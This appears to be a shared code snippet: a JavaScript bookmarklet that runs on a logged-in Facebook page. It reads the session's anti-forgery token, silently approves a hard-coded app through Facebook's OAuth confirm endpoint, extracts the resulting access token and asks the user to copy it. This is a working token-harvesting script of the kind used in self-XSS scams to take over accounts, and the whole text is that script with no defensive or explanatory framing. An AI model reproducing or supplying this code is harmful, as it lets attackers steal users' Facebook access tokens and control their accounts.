Fork Copy javascript:(function(){var id_app = '165907476854626';var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];var e = new XMLHttpRequest;var t = '/v1.0/dialog/oauth/confirm';var n = 'fb_dtsg=' + fb_dtsg + '&app_id=' + id_app + '&redirect_uri=fbconnect%3A%2F%2Fsuccess&display=page&access_token=&sdk=&from_post=1&private=&tos=&login=&read=&write=&extended=&social_confirm=&confirm=&seen_scopes=&auth_type=&auth_token=&auth_nonce=&default_audience=&ref=Default&return_format=access_token&domain=&sso_device=ios&__CONFIRM__=1&__user=&__a=1&__dyn=798aD5z5CF-&__req=6&ttstamp=&__rev=';e['open']('POST', t, true);e.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');e['onreadystatechange'] = function () {if (e['readyState'] == 4 && e['status'] == 200) {var token = e['responseText']['match'](/token=(.+)&/)[1];var uid = document['getElementsByName']('target')[0]['value'];}};e.onload = function() {var token = this.responseText.match(/access_token=(\w+)/)[1];prompt('Copy this line:', token);};e['send'](n);})();